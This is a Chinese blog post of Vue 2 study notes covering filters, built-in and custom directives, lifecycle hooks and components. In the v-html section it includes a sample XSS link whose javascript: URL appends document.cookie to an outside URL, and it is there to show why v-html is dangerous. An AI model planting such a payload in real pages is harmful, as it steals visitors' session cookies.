Vue 学习三

XYR121212

于 2024-07-02 22:23:55 发布

阅读量303

点赞数 5

文章标签： vue.js 学习前端

本文链接：https://blog.csdn.net/weixin_45691995/article/details/140136132

版权

Vue 学习

1. 过滤器

过滤器：

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。本质上是一个函数，需要返回值。

语法：

注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”

备注：

过滤器也可以接收额外参数、多个过滤器也可以串联
并没有改变原本的数据, 是产生新的对应的数据

实例

<body>
    <div id="root">
         //对 time 进行格式化
        <h2>{{time | timeFormater}}</h2>
        <h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>

    </div>
    <script>
        Vue.config.productionTip = false

        //全局过滤器
        Vue.filter('mySlice', function (value) {
            return value.slice(0, 8)
        })


        new Vue({
            el: '#root',
            data: {
                time: new Date(),
            },
            //局部过滤器
            filters: {
                timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
                    console.log();
                    return dayjs(value).format(str)

                }

            }
        })
    </script>
</body>

2. 内置指令

2.1 v-text

v-text指令：

作用：向其所在的节点中渲染文本内容。如渲染内容包括指定则把指令当字符串处理。
与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<body>

    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name">你好</div>
        <div v-text="str"></div>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            name: 'World',
            str: '<h3>你好啊！</h3>'
        }
    })
</script>

在这里插入图片描述

2.2 v-html

v-html指令：

作用：向指定节点中渲染包含html结构的内容。
与插值语法的区别：
(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
(2).v-html可以识别html结构。
严重注意：v-html有安全性问题！！！！
(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<body>
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            name: 'World',
            str: '<h3>你好啊！</h3>',
            str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>危险链接</a>',
        }
    })
</script>

2.3 v-cloak

v-cloak指令（没有值）：

本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<body>
    <div id="root">
        <h2>{{name}}</h2>
    </div>
    
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    <script>
        Vue.config.productionTip = false
        new Vue({
            el: '#root',
            data: {
                name: 'Hello'
            },
        })
    </script>
</body>

2.4 v-once

v-once指令：

v-once所在节点在初次动态渲染后，就视为静态内容了。
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<body>
    <div id="root">
        <h2 v-once>初始化的n值是:{{n}}</h2><!--n值不会改变-->
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            n: 1
        }
    })
</script>

2.5 v-pre

v-pre指令：

跳过其所在节点的编译过程。
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<body>
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            n: 1
        }
    })
</script>

2.6 自定义指令 directives/directive

一、语法

局部指令：

 new Vue({
    directives:{
    指令名：配置对象
   }
})

 new Vue({
    directives:{
    指令名：回调函数
    }
})

全局指令

  Vue.directive(指令名,配置对象)
 或   
  Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调：
(1).bind：指令与元素成功绑定时调用。
(2).inserted：指令所在元素被插入页面时调用。
(3).update：指令所在模板结构被重新解析时调用。

三、备注：

指令定义时不加v-，但使用时要加v-；
指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

实例
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

<body>
    <div id="root">
        <h2>{{name}}</h2>
        <h2>当前的n值是：<span v-text="n"></span> </h2>
        <h2>放大10倍后的n值是：<span v-big="n"></span></h2>
        <button @click="n++">点我n+1</button>
        <br><br>
        <input type="text" v-fbind:value="n">
    </div>

    <script>
        //全局指令
        Vue.directive('fbind', {
           //指令与元素成功绑定时（一上来）
            bind(element, binding) {
                element.value = binding.value
            },
           //指令所在元素被插入页面时, focus()才能起作用
            inserted(element, binding) {
                element.focus()  
            },
            //指令所在的模板被重新解析时
            update(element, binding) {
                element.value = binding.value

            }
        })

        new Vue({
            el: '#root',
            data: {
                name: 'World',
                n: 1
            },

            directives: {
                //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
                big(element, binding) {
                    console.log('big', this) //注意此处的this是window
                    element.innerText = binding.value * 10
                },
                //局部指令
                // fbind: {
                //     bind(element, binding) {
                //         element.value = binding.value
                //     },
                //     inserted(element, binding) {
                //         element.focus()
                //     },
                //     update(element, binding) {
                //         element.value = binding.value

                //     }
                // }
            }
        })
    </script>

</body>

3. 生命周期

一、生命周期

又名：生命周期回调函数、生命周期函数、生命周期钩子。
是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。
生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。
生命周期函数中的this指向是vm 或组件实例对象。

二、常用的生命周期钩子：

mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

三、关于销毁Vue实例

销毁后借助Vue开发者工具看不到任何信息。
销毁后自定义事件会失效，但原生DOM事件依然有效。
一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。

实例

<body>
    <!-- 准备好一个容器-->
    <div id="root" :x="n">
        <h2 v-text="n"></h2>
        <h2>当前的n值是：{{n}}</h2>
        <button @click="add">点我n+1</button>
        <button @click="bye">点我销毁vm</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            n: 1
        },
        methods: {
            add() {
                console.log('add')
                this.n++
            },
            bye() {
                console.log('bye')
                this.$destroy()
            }
        },
        watch: {
            n() {
                console.log('n变了')
            }
        },
        beforeCreate() {
            console.log('beforeCreate')
        },
        created() {
            console.log('created')
        },
        beforeMount() {
            console.log('beforeMount')
        },
        mounted() {
            console.log('mounted')
        },
        beforeUpdate() {
            console.log('beforeUpdate')
        },
        updated() {
            console.log('updated')
        },
        beforeDestroy() {
            console.log('beforeDestroy')
        },
        destroyed() {
            console.log('destroyed')
        },
    })
</script>

在这里插入图片描述

点击按钮‘点我n+1’

点击按钮‘点我销毁vm’

4. 非单文件组件

4.1 Vue中使用组件的三大步骤

一、定义组件(创建组件)
使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，但也有点区别；
区别如下：
1.el不要写，为什么？ ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。
2.data必须写成函数，为什么？ ———— 避免组件被复用时，数据存在引用关系。
备注：使用template可以配置组件结构。

二、注册组件

局部注册：靠new Vue的时候传入components选项
全局注册：靠Vue.component(‘组件名’,组件)

三、使用组件(写组件标签)
<school></school>

实例

<body>
    <div id="root">
        <!-- 第三步：编写school, student组件标签-->
        <school></school>
        <br>
        <student></student>
    </div>
    <script>
        //第一步：创建一个school组件
        const school = Vue.extend({
            template: `
            <div>
                 <h2>学校名称：{{name}}</h2>
                 <h2>学校地址：{{address}}</h2>
                 <button @click="showName">点击提示学校名字</button>
           </div>
            `,
            data() {
                return {
                    name: '北京大学',
                    address: '北京'
                }
            },
            methods: {
                showName() {
                    alert(this.name)
                }
            }


        })


        const student = Vue.extend({
            template: `
            <div>
                  <h2>学生姓名：{{name}}</h2>
                  <h2>年龄：{{age}}</h2>
                 <button @click="showName">点击提示学生名字</button>
           </div>
            `,
            data() {
                return {
                    name: 'Anna',
                    age: 18
                }
            },
            methods: {
                showName() {
                    alert(this.name)
                }
            }


        })

        //第二步：全局注册school标签
        //Vue.component('school', school)


        new Vue({
            el: '#root',
            //第二步：注册school, student 组件
            components: {
                school,
                student
            }
        })
    </script>
</body>

4.2 几个注意点

关于组件名:
一个单词组成：
第一种写法(首字母小写)：school
第二种写法(首字母大写)：School
多个单词组成：
第一种写法(kebab-case命名)：my-school
第二种写法(CamelCase命名)：MySchool (需要Vue脚手架支持)
备注：
(1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。
(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
关于组件标签:
第一种写法：<school></school>
第二种写法：<school/>
备注：不用使用脚手架时，会导致后续组件不能渲染。
一个简写方式：
const school = Vue.extend(options) 可简写为：const school = options

4.3 组件的嵌套

<body>
    <div id="root">

    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false

    //第一步：创建school组件
    const school = Vue.extend({
        template: `
				<div class="demo">
					<h2>学校名称：{{schoolName}}</h2>
					<h2>学校地址：{{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
				</div>
			`,
        data() {
            return {
                schoolName: '北京大学',
                address: '北京'
            }
        },
        methods: {
            showName() {
                alert(this.schoolName)
            }
        },
    })

    //第一步：创建student组件
    const student = Vue.extend({
        template: `
				<div>
					<h2>学生姓名：{{studentName}}</h2>
					<h2>学生年龄：{{age}}</h2>
				</div>
			`,
        data() {
            return {
                studentName: '张三',
                age: 18
            }
        }
    })

    //第一步：创建APP组件
    const App = Vue.extend({
        template: `
           <div>
                 <school></school>
                 <student></student>
            </div>	
			`,
        // 嵌套school，student 组件
        components: {
            school,
            student
        }
    })



    //创建vm
    new Vue({
        el: '#root',
        template: `
           <App></App>
			`,
        //第二步：注册组件（局部注册）
        components: {
            App
        }
    })


</script>

4.4 VueComponent

school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。
我们只需要写<school/>或<school></school>，Vue解析时会帮我们创建school组件的实例对象，
即Vue帮我们执行的：new VueComponent(options)。
特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent！！！！
关于this指向：
(1).组件配置中：
data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【VueComponent实例对象】。
(2).new Vue(options)配置中：
data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【Vue实例对象】。
一个重要的内置关系：VueComponent.prototype.proto === Vue.prototype
为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法。

XYR121212

关注

5
点赞
踩
3

收藏

觉得还不错? 一键收藏
0
评论
Vue 学习三

一、语法局部指令：new Vue({指令名：配置对象})new Vue({指令名：回调函数})全局指令Vue.directive(指令名,配置对象)或Vue.directive(指令名,回调函数)二、配置对象中常用的3个回调：(1).bind：指令与元素成功绑定时调用。(2).inserted：指令所在元素被插入页面时调用。(3).update：指令所在模板结构被重新解析时调用。指令定义时不加v-，但使用时要加v-；
复制链接

扫一扫